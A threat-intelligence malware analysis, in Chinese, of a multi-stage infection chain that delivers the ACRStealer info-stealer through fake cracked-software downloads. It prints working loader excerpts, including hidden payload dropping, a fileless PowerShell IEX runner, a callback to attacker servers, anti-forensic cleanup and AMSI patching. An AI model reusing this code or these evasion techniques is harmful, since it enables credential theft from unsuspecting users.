下载破解版软件却中了窃密木马?cracx下载站多阶段投递窃密程序ACRStealer

概述

  近期,瑞星威胁情报中心捕获了一起境外软件下载站cracx.com传播窃密木马的攻击事件。攻击者以“破解版”商业软件为诱饵吸引用户访问,用户点击页面上的下载按钮后,会被重定向至packlocker.shop下的随机子域名,进而下载到伪装成正常安装包的恶意压缩文件。值得注意的是,该站点早在2020年就曾因传播恶意程序被公开披露,至今已持续运营六年,其间投放的载荷历经多次更迭,呈现出长期化、产业化的运营特征。

事件详情

  我们随机在该站中挑选一个破解软件进行分析(hxxps://cracx.com/iobit-uninstaller-pro-full-crack/)

  IObit Uninstaller Pro是IObit推出的Windows软件卸载工具,可实现程序卸载、清理残留注册表与文件、强制卸载顽固软件等功能。攻击者利用IObit Uninstaller Pro 16.0.0.32破解版的噱头,诱使用户点击页面上的下载按钮:

image

  点击下载后,页面随即重定向至hxxps://t5b0c6y9l3n7w2d8g.packlocker.shop/,恶意压缩包即由该落地页分发:

image

  用户解压并运行压缩包内的程序后,恶意代码随即在后台静默展开多阶段加载,最终在目标主机上植入ACRStealer窃密木马。ACRStealer是一款在国外黑产中流通较广的商业化窃密程序,可批量窃取浏览器保存的账号口令与Cookie、Steam账号数据、主机与系统标识、屏幕截图及指定类型文件,并将窃取结果回传至攻击者控制的C2服务器,对目标用户的账号安全与财产安全构成严重威胁。

攻击流程

  本次攻击共分六个阶段,形成从网站诱导下载到窃密木马长期驻留的完整攻击链:

  1. 网站诱导下载:cracx.com以"破解版"商业软件为诱饵,用户点击下载后被重定向至packlocker.shop下的随机子域名,取得内含恶意代码的压缩文件Iobit-Uninstaller-Pro.zip。

  2. 借正规程序完成启动:该压缩包解压后为完整的游戏程序目录,其中启动程序为Ren'Py引擎官方版本、未被篡改。引擎会按固有流程自动加载并执行游戏目录下的脚本,攻击者只需将恶意脚本置于该游戏目录中,即可借正常流程完成启动,全程未修改引擎本体。

  3. 静默释放并启动载荷:脚本接管流程后清除日志与临时文件,依据随包密钥解密配置文件取得投放参数,再解密伪装为界面贴图的载荷,释放恶意程序bdredline.exe至用户目录并以隐藏方式启动。

  4. 伪装成知名厂商组件:bdredline.exe并非伪造,而是在Bitdefender官方组件原版基础上直接改写而成——名称、版本信息与数字签名均原样保留,在资源、签名与进程三个视角下均表现为正规厂商更新程序;攻击者仅将加密代码写入文件的.reloc区段,启动时取出执行。

  5. 加载器展开:bdredline.exe中嵌入的恶意代码在内存中逐层解开自身,检测到分析或调试环境即跳过后续逻辑;确认环境正常后绕开常规系统调用通道,疑似将窃密木马直接载入内存运行。

  6. 窃取数据并外传:最终植入的ACRStealer为商业化窃密木马,自身能力全部加密隐藏。从解出的字符串看,其目标指向多款浏览器保存的账号口令与登录状态、Steam账号数据、主机与系统标识、屏幕截图及指定类型文件;回传地址疑为health.indigowell.cc,域名解析疑似采用加密的DoH通道。此外,telegra.ph上的页面内藏有一段Base64文本,解码后为一个IP地址,是样本作为主域名被封禁时取回的备用地址。

image

样本分析

初始样本分析

字段 内容
文件名 Iobit-Uninstaller-Pro.zip
MD5 91A756CA2ECCEF7D2BDFD5B8B797949D
文件类型 ZIP
文件大小 177.0 MB (185,598,076 字节)

  该压缩包解压后为标准的Ren'Py程序目录结构,包含Setup.exe、setup.py、lib/、renpy/与data/等目录,其中lib/与renpy/目录均为引擎运行时组件,恶意代码全部集中在data/目录下。

image

加载机制

  在分析data/目录下的恶意组件之前,先说明Ren'Py引擎是如何被引导到这些脚本的。整条加载链完全依托引擎自身的正规机制,未对引擎本体做任何修改,这也是该样本能够规避静态检测的关键。

一、Setup.exe为合法的Ren'Py官方启动器,自身不含任何恶意逻辑

  其内部有两条关键字符串——%ls\lib\py3-%ls-%ls与librenpython.dll,作用是拼出lib\py3-windows-x86_64路径并加载Ren'Py内嵌的Python解释器librenpython.dll。

image

二、游戏目录被解析为data/,恶意代码全部集中在该目录下

  Setup.exe加载解释器后,解释器随即执行根目录下的setup.py,该文件是未被篡改的Ren'Py官方引导脚本。脚本的main()函数在启动引擎前,先执行注册代码,将自身登记到renpy.__main__,相当于给引擎设置一个回调入口,告诉引擎后续查找游戏目录时,调用本文件里的目录检索函数path_to_gamedir()。

def main():

    renpy_base = path_to_renpy_base()
    sys.path.append(renpy_base)
    # Ignore warnings.
    warnings.simplefilter("ignore", DeprecationWarning)
    # Start Ren'Py proper.
    try:
        import renpy.bootstrap
    except ImportError:
        print("Could not import renpy.bootstrap. Please ensure you decompressed Ren'Py", file=sys.stderr)
        print("correctly, preserving the directory structure.", file=sys.stderr)
        raise
    # Set renpy.__main__ to this module.
    renpy.__main__ = sys.modules[__name__] # type: ignore
    renpy.bootstrap.bootstrap(renpy_base)

  随后代码启动引擎引导流程,bootstrap.py将回调setup.py中的path_to_gamedir()函数,获取游戏资源目录路径。

    gamedir = renpy.__main__.path_to_gamedir(basedir, name)

  在该函数的候选列表中,data本就是Ren'Py官方的默认候选之一:path_to_gamedir()函数负责遍历候选目录名称,自动定位游戏资源目录。函数会先将可执行文件名加入候选列表,再追加引擎内置默认候选目录game、data、launcher/game;随后按顺序逐个检查目录是否真实存在,找到第一个存在的目录就将其作为游戏目录返回。该样本包内不存在game等其他文件夹、仅存在data文件夹,函数检索命中data,将其判定为游戏目录。攻击者正是利用引擎原生的备选目录机制,将恶意脚本放置在data目录中,引擎会自动加载并执行目录内所有脚本,整个过程无需篡改启动器和引导脚本,以此规避基础静态检测。

def path_to_gamedir(basedir, name):
    """
    Returns the absolute path to the directory containing the game
    scripts an assets. (This becomes config.gamedir.)
    `basedir`
        The base directory (config.basedir)
    `name`
        The basename of the executable, with the extension removed.
    """
    # A list of candidate game directory names.
    candidates = [ name ]
    # Add candidate names that are based on the name of the executable,
    # split at spaces and underscores.
    game_name = name
    while game_name:
        prefix = game_name[0]
        game_name = game_name[1:]

        if prefix == ' ' or prefix == '_':
            candidates.append(game_name)
    # Add default candidates.
    candidates.extend([ 'game', 'data', 'launcher/game' ])
    # Take the first candidate that exists.
    for i in candidates:
        if i == "renpy":
            continue
        gamedir = os.path.join(basedir, i)
        if os.path.isdir(gamedir):
            break
    else:
        gamedir = basedir
    return gamedir

data/cache/resources.bin分析

字段 内容
文件名 resources.bin
MD5 BA8F7477255C9691A1331EDFD6002266
文件类型 全零填充数据
文件大小 151.9 MB (159,280,524 字节)

  该文件位于data/cache/目录下,体积高达151.9 MB,占据了压缩包解压后体积的绝大部分,但其159,280,524字节全部为0x00,不含任何有效数据。

  在标准Ren'Py程序中,data/cache/用于存放引擎的资源索引缓存,因此该文件名本身并不异常。攻击者利用这一点填充大量空数据,目的一方面是将样本体积撑至177 MB,使其在视觉上更接近一个真实的游戏安装包;另一方面则用于干扰自动化分析——大体积文件会显著增加沙箱与静态扫描工具的处理开销,并可能因超出部分平台的样本提交体积上限而无法被有效分析。

data/script.rpy分析

字段 内容
文件名 script.rpy
MD5 DFC78DB72818039C2DE2898DC18D98A6
文件类型 PYTHON
文件大小 1.09 KB (1,123 字节)

script.rpy 启动入口实现双冗余恶意代码加载:Ren'Py引擎初始化完成后,会自动执行游戏目录(data目录)下的script.rpy中label start定义的启动分支。代码优先尝试导入pack_load模块并执行main();当该加载路径失败,捕获异常并启用降级方案,通过importlib直接动态加载游戏目录下runner.py并调用其入口函数。两级加载全部失败时,脚本会在系统临时目录.app_runtime下生成runner.log记录异常信息,用于运行调试。整套触发逻辑完全复用Ren'Py原生执行能力,双层加载机制提升恶意代码执行成功率与对抗查杀的能力。

  需要注意的是,本次捕获的样本中并不存在runner.py,该分支实际上是一处预留的加载槽位,用于在其他投放批次中承载形态不同的加载器,攻击者仅需替换该文件即可在不改动script.rpy的前提下更换整条投递链。

label start:
    python:
        # 导入所需Python标准库:动态模块加载、路径处理、系统模块管理
        import importlib.util
        import os
        import sys
        # 获取Ren'Py识别到的游戏根目录,本样本游戏目录为data/
        _gd = renpy.config.gamedir
        # 若游戏目录有效且不在模块搜索路径,则插入到sys.path最前端,优先在此目录查找模块
        if _gd and _gd not in sys.path:
            sys.path.insert(0, _gd)
        try:
            # 首选加载链路:导入pack_load包并执行入口函数main()
            from pack_load import main
            main()
        except Exception as _pack_exc:
            # 首选链路失败,捕获异常,启用备用加载方案
            # 拼接备用载荷runner.py完整路径
            _path = os.path.join(renpy.config.gamedir, "runner.py")
            try:
                # 使用importlib从文件直接动态加载runner.py,不依赖模块搜索路径
                _spec = importlib.util.spec_from_file_location("app_runner", _path)
                _mod = importlib.util.module_from_spec(_spec)
                _spec.loader.exec_module(_mod)
                # 执行runner.py中的main入口函数
                _mod.main()
            except Exception as _runner_exc:
                # 两条加载链路全部失败,进入日志记录分支
                try:
                    # 日志写入路径:系统临时目录下 .app_runtime/runner.log
                    _log = os.path.join(os.environ.get("TEMP", os.path.expanduser("~")), ".app_runtime", "runner.log")
                    # 创建日志所在目录,目录存在也不报错
                    os.makedirs(os.path.dirname(_log), exist_ok=True)
                    # 追加写入异常信息,记录两条链路的报错详情
                    with open(_log, "a", encoding="utf-8") as _f:
                        _f.write("script.rpy pack_load error: %r runner error: %r\n" % (_pack_exc, _runner_exc))
                except Exception:
                    # 写日志发生错误时直接静默忽略,防止整个脚本崩溃退出
                    pass
    return

data/python-packages/pack_load/init.py 分析

  当script.rpy导入pack_load包并执行入口函数main()时,Python解释器加载data/python-packages/pack_load/__init__.py。该文件是Python包标识文件,作为恶意模块的转发入口,源码仅两行核心逻辑:从同目录launch.py导入main函数,并通过__all__对外暴露该入口。__init__.py自身不实现任何恶意功能,仅起到中转作用,将调用流转入launch.py。

"""Pack loader — hidden python-packages launcher (QashAds fingerprint)."""
# 从同目录下的launch模块导入main入口函数,供外部脚本调用
from pack_load.launch import main
# 定义包对外导出的接口,当使用 from pack_load import * 时仅暴露main函数,隐藏内部辅助模块
__all__ = ["main"]

data/python-packages/pack_load/launch.py分析

字段 内容
文件名 launch.py
MD5 736FFA3B89676FA69DEF612D9B156129
文件类型 PYTHON
文件大小 45.9 KB (46,965 字节)
病毒名 Trojan.Starter/Python!1.147BF

  launch.py是该样本的核心投递加载器,负责在Ren'Py环境中读取并解密投放配置,按照配置定位和解密后续载荷,再以PE或者PowerShell无文件方式执行。当前样本中,加载器将载荷解密为bdredline.exe,写入%LOCALAPPDATA%\\Programs后启动,同时收集主机信息并回传;执行完成后清理日志、缓存和中间文件,并终止宿主进程,体现出载荷投递、运行统计和痕迹清理的一体化特征。

  初始化与环境清理:launch.py首先判断是否有重复启动,随后关闭Ren'Py日志、定位程序根目录,并将内置的site-packages加入模块搜索路径。程序还会删除启动阶段产生的日志、错误报告和临时痕迹,以减少加载过程的可见性。

def main() -> None:
    global _payload_done
    if _payload_done:
        return

    _disable_renpy_log()
    app_dir = _app_dir()
    _ensure_site_packages(app_dir)
    _cleanup_startup_traces(app_dir)

  配置读取与投放参数生成:launch.py读取data目录下的.sk文件获取密钥,再解密.m8k文件获取配置信息:获得tag、cid、payload、payloadRuntime和conversionUrl(转化地址)等参数。若配置中的cid为空或为占位值,_resolve_cid()函数会在%LOCALAPPDATA%下生成并保存访客标识;随后程序将cid和launcher=1加入转化地址,并收集计算机名、用户名、系统版本、管理员权限、MachineGuid、内存和CPU信息。

    delivery_secret_fn, _, _ = _load_crypto()

    try:
        secret = delivery_secret_fn(app_dir)
        meta = _load_meta(app_dir, secret)
        if not meta:
            _debug_log(app_dir, f"meta missing app_dir={app_dir}")
            _quit(app_dir)
            return

        tag = str(meta.get("tag") or "default").strip() or "default"
        cid = _resolve_cid(meta)
        _conv_url = _build_url(str(meta.get("conversionUrl") or "").strip(), cid)
        _conv_alt = str(meta.get("conversionUrlAlt") or "").strip()
        _gate_url = _launch_gate_url(
            str(meta.get("launchGateUrl") or "").strip(),
            _conv_url,
            tag,
            cid,
        )
        snap = _machine_snapshot()

  launch.py解密.m8k得到的配置如下:

  • 相关域名:cdnwire.pixel-tracker.one
  • payload所在位置:data/gui/button/quick_idle_background_pexo.slx
  • 载荷落地文件名为bdredline.exe
{
  "tag": "WRiN",
  "cid": "pool-0c5f1e2dbefc6bf3",
  "conversionUrl": "https://cdnwire.pixel-tracker.one/api/conversion?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1",
  "conversionUrlAlt": "https://cdnwire.pixel-tracker.one/cv/WRiN?cid=pool-0c5f1e2dbefc6bf3&launcher=1",
  "launchGateUrl": "https://cdnwire.pixel-tracker.one/api/conversion/launch-gate?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1",
  "payload": "data/gui/button/quick_idle_background_pexo.slx",
  "payloadRuntime": "native",
  "payloadFileName": "bdredline.exe"
}

  闸门与载荷解密:launch.py的_check_launch_gate()函数直接返回True,因此虽然代码会构造launchGateUrl,但不会真正进行在线闸门校验。通过检查后,_resolve_payload()函数定位.slx载荷,并使用qload:{secret}:{tag}:{cid}:v4派生的SHA256密钥流进行XOR解密;根据payloadRuntime的值,解密结果分别进入PowerShell无文件执行或原生PE执行分支。

def _check_launch_gate(
    gate_url: str,
    app_dir: Path | None = None,
    *,
    snap: dict[str, str] | None = None,
) -> bool:
    """Always allow advertiser payload (launch-gate deny retired)."""
    return True

def _inline_decrypt_payload(raw: bytes, tag: str, cid: str, secret: str) -> bytes | None:
    """Decrypt .0k payload — XOR stream."""
    if not raw.startswith(_XOR_PAYLOAD_MAGIC):
        return None
    try:
        body = raw[len(_XOR_PAYLOAD_MAGIC):]
        dec = _inline_xor(body, payload_seed(secret, tag, cid))
        if dec:
            return dec
    except Exception:
        pass
    return None

  载荷执行:本样本的payloadRuntime为native,解密得到的PE文件会被写入%LOCALAPPDATA%\\Programs\\bdredline\\bdredline.exe,再通过隐藏、分离的子进程启动。若配置为fileless,则会将脚本字节写入PowerShell标准输入,配合ExecutionPolicy Bypass和IEX直接执行内存中的脚本。

def _write_native_exe(dec: bytes, meta: dict | None, app_dir: Path | None = None) -> Path | None:
    out = _native_install_path(meta)
    try:
        if out.is_file() and out.read_bytes() == dec:
            return out
        out.write_bytes(dec)
        return out
    except OSError as exc:
        _debug_log(app_dir, f"native install write fail path={out} err={exc!r}")
        return None

def _run_powershell_fileless(script: bytes, app_dir: Path | None = None) -> bool:
    """Run decrypted PS in memory — stdin IEX, no payload file on disk."""
    if sys.platform != "win32" or not script:
        return False
    root = Path(os.environ.get("SystemRoot", r"C:\Windows"))
    ps = root / "System32" / "WindowsPowerShell" / "v1.0" / "powershell.exe"
    if not ps.is_file():
        ps = Path("powershell.exe")
    no_window = getattr(subprocess, "CREATE_NO_WINDOW", 0x08000000)
    cmd = (
        "& { "
        "$ms = New-Object IO.MemoryStream; "
        "[Console]::OpenStandardInput().CopyTo($ms); "
        "IEX([Text.Encoding]::UTF8.GetString($ms.ToArray())) "
        "}"
    )
    args = [
        str(ps),
        "-NoProfile",
        "-ExecutionPolicy",
        "Bypass",
        "-WindowStyle",
        "Hidden",
        "-Command",
        cmd,
    ]
    proc = subprocess.Popen(
        args,
        stdin=subprocess.PIPE,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        creationflags=no_window,
        close_fds=False,
    )

  回传与退出清理:载荷启动后,_ping_conversion()函数向conversionUrl及备用地址发送带有cid、tag、本地IPv4和主机指纹的转化请求;HTTPS证书校验失败时还会关闭校验并重试。最后,_quit()函数删除日志、缓存、载荷等文件,调用renpy.quit()函数并通过os._exit(0)终止Ren'Py进程,表现出明显的反取证和减少残留特征。

        resolved = _resolve_payload(app_dir, meta, secret)
        _start_log_watcher(app_dir)
        if resolved is None:
            _debug_log(app_dir, f"payload missing tag={tag} cid={meta.get('cid')} payload={meta.get('payload')}")
        elif resolved[0] == "script":
            script_bytes = resolved[1]
            assert isinstance(script_bytes, (bytes, bytearray))
            if _run_powershell_fileless(bytes(script_bytes), app_dir):
                _payload_done = True
                _debug_log(app_dir, f"script payload fileless ok bytes={len(script_bytes)}")
                _ping_conversion(_conv_url, app_dir, tag=tag, cid=cid, alt_url=_conv_alt)
            else:
                _debug_log(app_dir, f"script payload fileless failed bytes={len(script_bytes)}")
            time.sleep(2)
        else:
            payload_src = resolved[1]
            assert isinstance(payload_src, Path)
            _debug_log(app_dir, f"payload native launch path={payload_src}")
            if _run_payload(payload_src, app_dir):
                _payload_done = True
                _debug_log(app_dir, f"payload launched path={payload_src}")
                _ping_conversion(_conv_url, app_dir, tag=tag, cid=cid, alt_url=_conv_alt)
            else:
                _debug_log(app_dir, f"payload launch failed path={payload_src}")
            time.sleep(2)

def _quit(app_dir: Path | None = None) -> None:
    _log_watch_stop.set()
    _disable_renpy_log()
    if app_dir:
        _cleanup_exit_artifacts(app_dir)
        _cleanup_startup_traces(app_dir)
    try:
        import renpy  # type: ignore
        renpy.quit()
    except Exception:
        pass
    if app_dir:
        for _ in range(8):
            _cleanup_exit_artifacts(app_dir)
            _cleanup_startup_traces(app_dir)
            time.sleep(0.05)
    try:
        os._exit(0)
    except Exception:
        pass

解密实现crypto.py分析

字段 内容
文件名 crypto.py
MD5 89C3E094DD55F88BAEF92B45998C82DD
文件类型 PYTHON
文件大小 8.66 KB (8,662 字节)

  该模块实现两套并存的解密方案,运行时优先使用XOR流密码,仅在文件头不匹配时才回退到AES-GCM。XOR方案的密钥流按32字节分块生成:

def _xor_keystream(seed: str, length: int) -> bytes:
    import hashlib
    out = bytearray(length)
    pos = 0
    block = 0
    while pos < length:
        chunk = hashlib.sha256(seed.encode() + block.to_bytes(4, "big")).digest()
        take = min(32, length - pos)
        out[pos:pos + take] = chunk[:take]
        pos += take
        block += 1
    return bytes(out)

  即keystream[block] = SHA256(seed ‖ block_index),与密文逐字节异或。其中密钥种子由固定前缀、密钥、用途标识与版本号拼接而成,配置与载荷使用不同的种子,从而实现“一包一密”的槽位隔离:

用途 种子格式 文件头标识
配置解密 qload:{secret}:meta:v4 0A 51 4C 02 02
载荷解密 qload:{secret}:{tag}:{cid}:v4 0A 51 4C 03 02

  备用方案AES-GCM的密钥由SHA256("{secret}|{tag}|{cid}")派生,密文格式为nonce(12) + ciphertext + tag(16);实现上优先调用cryptography库,失败时通过ctypes回退至直接调用Windows的BCryptDecrypt。此外,模块还保留了基于MBO1文件头的第三种引导格式(使用SHA256("bootstrap|{secret}")派生的重复密钥异或),说明该框架在演进过程中曾使用过多种封装形式。

  密钥读取逻辑:优先加载data/.sk外部密钥文件,文件不存在则使用内置密钥。外部密钥与内置密钥不相同,静态审计源码无法得到外部密钥内容。

释放载荷bdredline.exe分析

字段 内容
文件名 bdredline.exe
MD5 7EA102376C4D8A1C8BB3F39FE24080D6
文件类型 PE32 (i386)
文件大小 3,049,217 字节
病毒名 Trojan.Injector!1.127AD

  bdredline.exe是以Bitdefender官方RedLine更新程序为载体的寄生式载荷容器:攻击者未伪造任何身份信息,而是改写.reloc节尺寸、把 632,320 字节的加密shellcode整块填入该节剩余空间,并原样保留官方的版本资源与Authenticode代码签名(但无法通过签名校验),使样本在资源、签名、进程三个视图上均表现为Bitdefender官方组件,以此规避基础静态检测。

image

  恶意代码藏匿于.reloc节的剩余空间:该文件的.reloc段声明大小为 687,104 字节,但段内真正用于重定位的数据仅 54,552 字节;自段内偏移0x248D18起直至段末尾的 632,320 字节既非重定位数据、也不被任何节内容引用,且长度恰好等于段的剩余空间、分毫不差。攻击者正是将加密后的shellcode整块填入此处,借“重定位段”这一纯技术性区段掩盖载荷。

  运行期申请内存、拷入并跳转执行:bdredline.exe启动后申请内存,把从.reloc节取出的数据拷入并跳转执行;该数据即为内嵌的加密shellcode。

00D4DDEB | 33D0               | xor edx,eax                             |
00D4DDED | FFD0               | call eax                                | eax:VirtualAlloc
00D4DDEF | 81C2 34267C8D      | add edx,8D7C2634                        |
……
00C06A40 | 8B0485 C46BC000    | mov eax,dword ptr ds:[eax*4+C06BC4]     |
00C06A47 | 01C8               | add eax,ecx                             |执行内嵌的`shellcode`
00C06A49 | FFE0               | jmp eax                                 |
00C06A4B | 8B46 04            | mov eax,dword ptr ds:[esi+4]            |

内嵌shellcode分析

  加密shellcode的前0x34C字节为外壳的两层自解密代码,在完成两层自解密后,入口位于镜像就会偏移0x34C:

  第一层:混淆层:代码块前半充斥大量对通用寄存器(eax、ebx、ecx、edx、esi、edi)的自抵消垃圾指令(如 add ecx,ebp / sub ecx,ebp、add edx,5010C079h / sub edx,5010C079h、xchg esi,eax 等),它们成对出现、效果互相抵消,以此打乱静态反汇编并干扰沙箱的特征匹配。

017D0121 | F7 13               | not dword ptr [ebx]
017D0199 | 81 03 1F 2E C4 E8  | add dword ptr [ebx], 0E8C42E1Fh
017D01F5 | 81 2B A1 CE A3 16  | sub dword ptr [ebx], 16A3CEA1h
017D0253 | 81 33 66 75 10 8F  | xor dword ptr [ebx], 8F107566h
017D0295 | 83 C3 04            | add ebx, 4
017D0304 | 83 E9 04            | sub ecx, 4
017D0307 | 0F 85 C6 FD FF FF  | jne 17D00D3

  第二层:解密层:用 call $+5; pop esi; add esi,35h 取得运行时 EIP(0x34C),随后对 [0x34C, 0x9A4AC) 共 631,476 字节逐 dword 执行 7 步链式解密:

017D030D | BA 60 A1 09 00        | mov edx, 9A160h           ; 长度
017D0312 | E8 00 00 00 00        | call $+5
017D0317 | 5E                    | pop esi                   ; 取 EIP
017D0318 | 81 C6 35 00 00 00     | add esi, 35h              ; -> 0x34C 入口
; ---- 循环 ----
017D031E | 81 36 AF 6E 83 24     | xor dword ptr [esi], 24836EAFh
017D0324 | 81 2E 78 B6 2B 60     | sub dword ptr [esi], 602BB678h
017D032A | 81 36 26 89 2C C8     | xor dword ptr [esi], 0C82C8926h
017D0330 | F7 16                 | not dword ptr [esi]
017D0332 | 81 36 77 BD F6 93     | xor dword ptr [esi], 93F6BD77h
017D0338 | F7 16                 | not dword ptr [esi]
017D033A | 81 36 F5 E3 5F 76     | xor dword ptr [esi], 765FE3F5h
017D0340 | 83 C6 04              | add esi, 4
017D0343 | 83 EA 04              | sub edx, 4
017D0346 | 0F 85 D2 FF FF FF     | jne 17D031E
017D034C | 55                    | push ebp                  ; 入口

  模块化结构:两层解密完成后进入加载器主体,加载器把自身拆分为 42 个“模块”,其(偏移, 长度)清单硬编码于入口函数(偏移0x6AD处)。每块偏移加上入口地址后都精确命中一个函数首址(例如0x8A40+0x34C=0x8D8C)。运行时由分派器为每块申请新内存、拷贝后将源字节整体清零,再逐块调用处理函数。

  哈希式API解析:shellcode不携带任何明文API名。模块名与导出名各使用一套ROR13哈希(循环右移 13 位后累加字符),并统一异或固定盐值0x6666C40D:

h = 0;
for (每个字符 c) {
    if ('a' <= c && c <= 'z') c -= 0x20;   // 仅用于模块名的宽字符版本做大写化
    h = ror(h, 13) + c;
}
return h ^ 0x6666C40D;

  将样本内的哈希常量与本地DLL导出表逐一比对,共解析出90 项 API 名称与 7 个模块名(ntdll.dll、kernel32.dll、KernelBase.dll、advapi32.dll、wininet.dll、ws2_32.dll、amsi.dll)。可见加载器为后续执行准备了相当完整的内存操纵与对抗能力:

能力 解析出的API
内存与映射 VirtualAlloc、VirtualFree、VirtualProtect、VirtualQuery、ZwAllocateVirtualMemory、ZwAllocateVirtualMemoryEx、ZwFreeVirtualMemory、ZwProtectVirtualMemory、ZwMapViewOfSection、ZwMapViewOfSectionEx、ZwUnmapViewOfSection、ZwUnmapViewOfSectionEx、ZwCreateSection、ZwCreateSectionEx、ZwOpenSection、ZwWriteVirtualMemory、ZwQueryVirtualMemory
线程与进程 CreateThread、ZwCreateThreadEx、SuspendThread、ResumeThread、TerminateThread、ZwSuspendThread、ZwResumeThread、ZwSuspendProcess、ZwResumeProcess、ZwOpenProcess、ZwOpenThread、OpenThread、TerminateProcess、ZwTerminateProcess、ZwTerminateThread、WaitForSingleObject、WaitForMultipleObjects、ZwWaitForSingleObject、ZwWaitForWorkViaWorkerFactory、Sleep、CloseHandle、ZwClose
信息枚举与设置 CreateToolhelp32Snapshot、Thread32First、Thread32Next、ZwQueryInformationProcess、ZwQueryInformationThread、ZwQuerySystemInformation、ZwQuerySystemInformationEx、ZwQueryVolumeInformationFile、ZwQuerySecurityObject、ZwSetInformationProcess、ZwSetInformationThread、ZwSetSecurityObject、ZwReadFile、ZwOpenFile
反分析与隐蔽 LdrRegisterDllNotification、LdrUnregisterDllNotification、RtlAddVectoredExceptionHandler、RtlRemoveVectoredExceptionHandler、KiUserExceptionDispatcher、RtlUserThreadStart、ZwTraceEvent、ZwTraceControl
AMSI AmsiScanBuffer、AmsiUacScan、AmsiInitialize、AmsiUninitialize
网络通信 InternetOpenA、InternetOpenUrlA、InternetReadFile、HttpQueryInfoA、InternetCloseHandle、WSAStartup、socket、connect、inet_addr、htons、send、recv、closesocket
主机信息 GetUserNameA、GetComputerNameExA、GetCurrentDirectoryA、GetCurrentProcessId、GetCurrentThreadId
其他 LdrLoadDll、LoadLibraryExW、RtlDecompressBuffer、LocalAlloc、LocalFree、RtlAcquireSRWLockExclusive、RtlReleaseSRWLockExclusive

  其中ZwTraceEvent、ZwTraceControl(ETW)以及ZwSetInformationThread、ZwQueryInformationProcess等反调试相关函数的出现,说明加载器在隐蔽性上做了较多准备;RtlDecompressBuffer则表明其具备解压数据的能力。

  C++调用框架:加载器内部是一套自实现的调用框架:所有调用统一经“调用门”完成——先解密一段可执行的“调用桩”,按系统版本把系统调用号补丁进去,再经固定蹦床转发,返回后立即把调用桩重新加密。真正的函数指针从不出现在call的操作数中,且加载器字段普遍以ror(v ^ seed, seed & 0x1F)形式存储(seed在运行时生成),静态无法还原,因此内存中绝大多数时刻看到的是加密后的调用桩。

017D9D9D | FF 55 F8                   | call dword ptr [ebp-8]  ; 经蹦床转发,目标来自数据 |
017D9EC5 | FF 55 F8                   | call dword ptr [ebp-8]  ; 实际派发点                 |

  反分析与内存对抗:加载器包含多层对抗手段:反调试(检查进程堆标志0x40000070与KUSER_SHARED_DATA标志位0x2D4)、时间与沙箱检测(用KUSER_SHARED_DATA.SystemTime与硬编码常量比对,异常时跳过后续全部逻辑)、改写PEB模块链表中目标模块的条目,以及在栈上生成 25 字节的 64 位系统调用桩(mov r10,rcx、mov eax,imm32、ret)实现WOW64下的直接系统调用。

  此外还实现了针对AMSI的内存补丁:在目标模块映像的前0x1000字节内按 4 字节步长搜索"AMSI"与"OMSI"标记,命中后先将该处内存改为PAGE_EXECUTE_READWRITE,随后把该 4 字节整体清零并恢复原保护属性。

017F3B20 | C7 85 64 FF FF FF 4F 4D 53 49 | mov dword ptr [ebp-9Ch], 49534D4Fh ; "OMSI" |
017F3B2C | C7 85 64 FF FF FF 41 4D 53 49 | mov dword ptr [ebp-9Ch], 49534D41h ; "AMSI" |

  内置加密实现:加载器内含一套完整的tiny-AES-c实现,为AES-128-CBC。其解密流程分三步:

  1. 先由密钥扩展把 16 字节密钥展开成 176 字节的轮密钥(共 10 轮)
  2. 再对每个 16 字节分组执行逆向轮函数——依次为逆向行移位、逆向字节代换、加上轮密钥与逆向列混淆,得到解密的中间值
  3. 最后把该中间值与前一个密文分组异或才得到明文,同时把当前密文分组留存供下一分组使用。该实现与加载器中硬编码引用的密文区相配套:入口函数中以立即数形式写入了密文指针与长度 0x720C0,对应内存中一段 467,136 字节、长度恰为AES分组整数倍的高熵数据。据此推测,该段密文解密后即为本次攻击最终植入的窃密木马ACRStealer,随后在内存中直接加载执行
017F61EB | 8B 45 F4                   | mov  eax, dword ptr [ebp-0Ch]     ; ← 外层循环: 每次一个分组    |
017F61FA | 0F 83 85 00 00 00          | jae  0x17F6285                    ; 处理完则返回                |
……
017F6223 | 88 54 0D E4                | mov  byte ptr [ebp+ecx-1Ch], dl   ; 暂存本分组密文              |
017F6231 | E8 76 1A 00 00             | call 0x17F7CAC                    ; InvCipher: 解密本分组      |
017F6244 | E8 D3 1A 00 00             | call 0x17F7D1C                    ; 与前一密文分组异或          |
……
017F626F | 88 8A B0 00 00 00          | mov  byte ptr [edx+0B0h], cl      ; ctx->Iv = 本分组密文        |
017F6280 | E9 66 FF FF FF             | jmp  0x17F61EB                    ; 回到外层循环                |

窃密木马ACRStealer分析

字段 内容
MD5 03890C7BDAED21D183F0D8839F160291
文件类型 PE32 (i386)
文件大小 607 KB (622,080 字节)

  该文件是本次攻击最终植入的窃密木马,通过分析发现其为ACRStealer窃密木马。该样本被施加了多重防护:

  • 伪装:版本资源与应用清单均复用微软官方程序内容,使该文件在资源信息与进程展示两个维度上都表现为系统正规组件,用以欺骗静态检测与人工初步排查
  • 隐藏能力:导入表被压缩至仅保留运行库启动相关函数、业务功能API改为运行时动态解析,使静态分析无法依靠导入表预判其恶意能力
  • 抬高逆向门槛:对控制流施加代码混淆、对字符串施加数据层混淆,以提升反汇编分析与明文特征检索的难度

  去混淆还原其功能逻辑后可见,ACRStealer针对浏览器与游戏平台实施定向窃密,目标涵盖浏览器留存的账号口令与登录状态Cookie、Steam账号数据、主机与系统标识、屏幕截图及指定类型的文件;所窃数据经加密通道汇总后,回传至攻击者预设的C2服务器。下文从文件结构、混淆手段、去混淆所得情报三个部分展开分析。

文件结构

  其PE结构本身并无异常,值得注意的有三处:版本资源与清单均取自微软官方程序、导入表被压缩到只剩运行库启动函数、功能API全部改为运行时解析。以下先看节区布局,再依次说明这三处。

  节区布局:该文件入口位于0x848EE,镜像基址0x400000,包含.text、.rdata、.data、.rsrc与.reloc五个标准节:

节名 虚拟地址 虚拟大小 文件大小 文件偏移
.text 0x001000 0x08436E 0x084400 0x000400
.rdata 0x086000 0x00B74A 0x00B800 0x084800
.data 0x092000 0x027330 0x000600 0x090000
.rsrc 0x0BA000 0x0008B8 0x000A00 0x090600
.reloc 0x0BB000 0x006CC0 0x006E00 0x091000

  伪装成微软组件:样本的版本资源完整照搬微软官方文件WPA.exe(Windows性能分析器)的信息:

字段 值
CompanyName Microsoft Corporation
